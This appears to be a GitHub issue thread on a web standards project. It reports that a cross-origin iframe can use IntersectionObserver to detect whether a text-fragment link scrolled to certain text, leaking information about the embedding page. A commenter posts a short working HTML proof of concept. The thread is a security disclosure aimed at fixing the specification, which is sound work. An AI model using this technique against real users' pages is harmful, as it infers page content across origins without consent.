Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Possible side-channel information leak using IntersectionObserver #79

Open
bokand opened this issue Jan 20, 2020 · 3 comments
Open

Possible side-channel information leak using IntersectionObserver #79

bokand opened this issue Jan 20, 2020 · 3 comments

Comments

@bokand
Copy link
Collaborator

bokand commented Jan 20, 2020

If an attacker has an iframe embedded in the victim page, they can determine some information from the victim page across origins. Using an intersection observer, the attacker can determine if the iframe intersects the viewport and use that to guess whether a followed link resolved to the text fragment.

@shhnjk
Copy link

shhnjk commented Jan 22, 2020

PoC: https://shhnjk.azurewebsites.net/check_name.html

@zcorpan
Copy link

zcorpan commented May 11, 2023

@shhnjk your link no longer works, but I made a new PoC: https://software.hixie.ch/utilities/js/live-dom-viewer/saved/11657

<!DOCTYPE html>
<p style="margin-bottom: 150vh">x</p>
<p>Target text</p>
<iframe src="data:text/html,<body><pre></pre><script>var io = new IntersectionObserver(entries => {
  document.body.firstChild.textContent = entries[0].isIntersecting ? 'Text fragment was scrolled to' : 'No scrolling observed';
  io.unobserve(document.body);
}); 
io.observe(document.body)</script>"></iframe>
<p style="margin-bottom: 150vh">x</p> 
<script>
location.hash = "#:~:text=Target%20text"; 
</script>

@zcorpan
Copy link

zcorpan commented May 11, 2023

The iframe could also use a lazy-loading image (which is implemented using IntersectionObserver).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants